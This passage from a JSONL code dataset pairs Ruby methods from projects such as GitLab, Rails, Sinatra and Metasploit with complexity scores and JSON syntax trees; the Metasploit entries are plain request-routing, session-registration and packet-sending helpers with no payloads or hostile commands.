ype\":\"lvar\",\"children\":[\"post1\"]},{\"type\":\"lvar\",\"children\":[\"post2\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag2_with_includes\"]},\"tagged_posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}]}]}","id":"fb7d1eca-c548-44cc-935c-39b011f6622d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/cancel_pipeline_service.rb","start_line":14,"raw_source":"def initialize(\n      pipeline:,\n      current_user:,\n      cascade_to_children: true,\n      auto_canceled_by_pipeline: nil,\n      execute_async: true,\n      safe_cancellation: false)\n      @pipeline = pipeline\n      @current_user = current_user\n      @cascade_to_children = cascade_to_children\n      @auto_canceled_by_pipeline = auto_canceled_by_pipeline\n      @execute_async = execute_async\n      @safe_cancellation = safe_cancellation\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"pipeline\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwoptarg\",\"children\":[\"cascade_to_children\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"auto_canceled_by_pipeline\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"execute_async\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"safe_cancellation\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pipeline\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@cascade_to_children\",{\"type\":\"lvar\",\"children\":[\"cascade_to_children\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@auto_canceled_by_pipeline\",{\"type\":\"lvar\",\"children\":[\"auto_canceled_by_pipeline\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@execute_async\",{\"type\":\"lvar\",\"children\":[\"execute_async\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@safe_cancellation\",{\"type\":\"lvar\",\"children\":[\"safe_cancellation\"]}]}]}]}","id":"8ad1be26-be56-4d74-82f2-4e681119f722"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/check_app_version.rb","start_line":10,"raw_source":"def call\n    return false if Rails.env.production?\n\n    latest_version != APP_VERSION\n  rescue StandardError\n    false\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"production?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"latest_version\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"APP_VERSION\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"264622c1-6116-447a-9794-2b3e42a0a1d1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/webdav_dll_hijacker.rb","start_line":68,"raw_source":"def on_request_uri(cli, request)\n    case request.method\n    when 'OPTIONS'\n      process_options(cli, request)\n    when 'PROPFIND'\n      process_propfind(cli, request)\n    when 'GET'\n      process_get(cli, request)\n    else\n      print_status(\"#{request.method} => 404 (#{request.uri})\")\n      resp = create_response(404, \"Not Found\")\n      resp.body = \"\"\n      resp['Content-Type'] = 'text/html'\n      cli.send_response(resp)\n    end\n  end","complexity_score":19.25,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"OPTIONS\"]},{\"type\":\"send\",\"children\":[null,\"process_options\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PROPFIND\"]},{\"type\":\"send\",\"children\":[null,\"process_propfind\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"send\",\"children\":[null,\"process_get\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]}]},{\"type\":\"str\",\"children\":[\" => 404 (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[404]},{\"type\":\"str\",\"children\":[\"Not Found\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]}]}","id":"6a3950cd-230a-475c-bc49-f29a211d9b96"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/notifications/remove_all_by_action.rb","start_line":14,"raw_source":"def call\n      Notification.where(\n        notifiable: notifiable_collection,\n        action: action,\n      ).delete_all\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable\"]},{\"type\":\"send\",\"children\":[null,\"notifiable_collection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[null,\"action\"]}]}]}]},\"delete_all\"]}]}","id":"5adb701c-ce07-419d-ac6c-fd6018affb57"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/issues_controller_spec.rb","start_line":1426,"raw_source":"def post_new_issue_in_project\n          post :create, params: {\n            namespace_id: project.namespace.to_param,\n            project_id: project,\n            issue: { title: 'Title', description: 'Description' }\n          }\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"post_new_issue_in_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},\"to_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Description\"]}]}]}]}]}]}]}]}]}","id":"b9069316-471b-4f91-bf2c-9b110cbd81c0"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/test/yajl_test.rb","start_line":7,"raw_source":"def yajl_app(&block)\n    mock_app do\n      set :views, __dir__ + '/views'\n      get('/', &block)\n    end\n    get '/'\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"yajl_app\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mock_app\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set\",{\"type\":\"sym\",\"children\":[\"views\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__dir__\"]},\"+\",{\"type\":\"str\",\"children\":[\"/views\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}","id":"202a64ef-7658-4bce-9ccd-52ee279835e3"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/multibyte_chars_test.rb","start_line":121,"raw_source":"def test_split_should_return_an_array_of_chars_instances\n    @chars.split(//).each do |character|\n      assert_kind_of ActiveSupport::Multibyte.proxy_class, character\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_split_should_return_an_array_of_chars_instances\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chars\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"regopt\",\"children\":[]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"character\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Multibyte\"]},\"proxy_class\"]},{\"type\":\"lvar\",\"children\":[\"character\"]}]}]}]}","id":"458290e5-8c00-45cc-9e84-9a378dddc08a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/session_manager.rb","start_line":203,"raw_source":"def register(session)\n    if (session.sid)\n      wlog(\"registered session passed to register again (sid #{session.sid}).\")\n      return nil\n    end\n\n    next_sid = allocate_sid\n\n    # Initialize the session's sid and framework instance pointer\n    session.sid       = next_sid\n    session.framework = framework\n\n    # Only register if the session allows for it\n    if session.register?\n      # Insert the session into the session hash table\n      self[next_sid.to_i] = session\n\n      if session.respond_to?(\"console\")\n        session.console.on_command_proc = Proc.new { |command, error| framework.events.on_session_command(session, command) }\n        session.console.on_print_proc = Proc.new { |output| framework.events.on_session_output(session, output) }\n      end\n      if session.respond_to?(\"on_registered\")\n        session.on_registered\n      end\n    end\n\n    return next_sid\n  end","complexity_score":41.5,"ast_json":"{\"type\":\"def\",\"children\":[\"register\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"sid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"registered session passed to register again (sid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"sid\"]}]},{\"type\":\"str\",\"children\":[\").\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"next_sid\",{\"type\":\"send\",\"children\":[null,\"allocate_sid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"sid=\",{\"type\":\"lvar\",\"children\":[\"next_sid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"framework=\",{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"register?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_sid\"]},\"to_i\"]},{\"type\":\"lvar\",\"children\":[\"session\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"respond_to?\",{\"type\":\"str\",\"children\":[\"console\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"console\"]},\"on_command_proc=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]},{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"on_session_command\",{\"type\":\"lvar\",\"children\":[\"session\"]},{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"console\"]},\"on_print_proc=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"on_session_output\",{\"type\":\"lvar\",\"children\":[\"session\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"respond_to?\",{\"type\":\"str\",\"children\":[\"on_registered\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"on_registered\"]},null]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_sid\"]}]}]}]}","id":"777d9b3f-75a0-46db-95f4-01a105c378b5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dhcp/server.rb","start_line":144,"raw_source":"def send_packet(ip, pkt)\n    port = 68 # bootpc\n    if ip\n      self.sock.sendto( pkt, ip, port )\n    else\n      if not self.sock.sendto( pkt, '255.255.255.255', port )\n        self.sock.sendto( pkt, self.broadcasta, port )\n      end\n    end\n  end","complexity_score":13.65,"ast_json":"{\"type\":\"def\",\"children\":[\"send_packet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"arg\",\"children\":[\"pkt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"int\",\"children\":[68]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]},\"sendto\",{\"type\":\"lvar\",\"children\":[\"pkt\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]},\"sendto\",{\"type\":\"lvar\",\"children\":[\"pkt\"]},{\"type\":\"str\",\"children\":[\"255.255.255.255\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]},\"sendto\",{\"type\":\"lvar\",\"children\":[\"pkt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"broadcasta\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},null]}]}]}]}","id":"848bfcb1-1163-481d-954e-9179d57acb59"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/activities/base_activity_provider.rb","start_line":254,"raw_source":"def join_activity_journals_table(query)\n    query\n      .join(activity_journals_table)\n      .on(journals_table[:data_id].eq(activity_journals_table[:id])\n                                  .and(journals_table[:data_type]).eq(activitied_type.journal_class.name))\n  end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"join_activity_journals_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"activity_journals_table\"]}]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journals_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_journals_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journals_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data_type\"]}]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activitied_type\"]},\"journal_class\"]},\"name\"]}]}]}]}","id":"fa67527f-699c-49c4-a2d8-fbe470fbd7eb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/artifacts/raw_spec.rb","start_line":10,"raw_source":"def raw_path(path)\n    raw_project_job_artifacts_path(project, job, path)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"raw_project_job_artifacts_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"job\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}","id":"beaf14c8-145b-454a-9b07-400ea6831497"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/migration_generator_test.rb","start_line":20,"raw_source":"def test_migration\n    migration = \"change_title_body_from_posts\"\n    run_generator [migration]\n    assert_migration \"db/migrate/#{migration}.rb\", /class ChangeTitleBodyFromPosts < ActiveRecord::Migration\\[[0-9.]+\\]/\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"str\",\"children\":[\"change_title_body_from_posts\"]}]},{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_migration\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"db/migrate/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"class ChangeTitleBodyFromPosts < ActiveRecord::Migration\\\\[[0-9.]+\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"f26ed6b4-5c64-4e5d-9349-98fd577313d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/use_sql_function_for_primary_key_lookups.rb","start_line":36,"raw_source":"def try_replace_with_function_call(arel)\n      # The beginning of this method speculatively assumes that the arel passed in represents a query of the form\n      # SELECT <all columns> FROM <table> WHERE id = <number> generated by a rails find-by-primary-key style query\n      # As we rely on details of the arel tree, we return nil (meaning that we failed to replace with a function call)\n      # if the structure is not what we expected\n      return unless arel.is_a?(Arel::SelectManager)\n\n      ast = arel.ast\n      where_arel = ast.cores.first&.wheres&.first\n      return unless where_arel.is_a?(Arel::Nodes::Equality)\n\n      pk_value_attribute = where_arel.right # If this exists, it's the literal id side of WHERE <pk> = <literal id>\n      pk_value = pk_value_attribute&.value # This is the actual numeric value of the literal id\n      return unless pk_value\n\n      verification_arel = where(primary_key => pk_value).limit(1).arel\n      # Double check that the entire sql statement is what we expect it to be\n      # by reconstructing it from the extracted parts and verifying the same arel ast.\n      # If the arel of the original query wasn't SELECT <all columns> FROM <table> WHERE id = <number>\n      # we return here indicating that the arel could not be replaced with the function call\n\n      return unless verification_arel.ast == arel.ast\n\n      function_call = Arel::Nodes::NamedFunction.new(\"find_#{table_name}_by_id\", [pk_value_attribute]).as(table_name)\n      filter_empty_row = \"#{quoted_table_name}.#{connection.quote_column_name(primary_key)} IS NOT NULL\"\n\n      from(function_call).where(filter_empty_row).limit(1)\n    end","complexity_score":43.75,"ast_json":"{\"type\":\"def\",\"children\":[\"try_replace_with_function_call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arel\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"SelectManager\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ast\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arel\"]},\"ast\"]}]},{\"type\":\"lvasgn\",\"children\":[\"where_arel\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"cores\"]},\"first\"]},\"wheres\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"where_arel\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Equality\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"pk_value_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"where_arel\"]},\"right\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pk_value\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pk_value_attribute\"]},\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pk_value\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"verification_arel\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primary_key\"]},{\"type\":\"lvar\",\"children\":[\"pk_value\"]}]}]}]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"arel\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verification_arel\"]},\"ast\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arel\"]},\"ast\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"function_call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"NamedFunction\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"find_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"_by_id\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pk_value_attribute\"]}]}]},\"as\",{\"type\":\"send\",\"children\":[null,\"table_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filter_empty_row\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quoted_table_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote_column_name\",{\"type\":\"send\",\"children\":[null,\"primary_key\"]}]}]},{\"type\":\"str\",\"children\":[\" IS NOT NULL\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from\",{\"type\":\"lvar\",\"children\":[\"function_call\"]}]},\"where\",{\"type\":\"lvar\",\"children\":[\"filter_empty_row\"]}]},\"limit\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"279dd7d6-040c-478d-9ead-ba9a87636a49"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/indifferent_hash.rb","start_line":155,"raw_source":"def transform_values!\n      super\n      super(&method(:convert_value))\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_values!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"super\",\"children\":[{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"convert_value\"]}]}]}]}]}]}","id":"b02f4e49-74b2-466d-983b-c40a4d83b990"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/module_function.rb","start_line":155,"raw_source":"def check_forbidden(nodes)\n          nodes.each do |node|\n            yield node if extend_self_node?(node)\n            yield node if module_function_node?(node)\n          end\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_forbidden\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nodes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extend_self_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"module_function_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]},null]}]}]}]}","id":"27e6f000-b2e7-4293-97ca-24b03d43dcd4"}
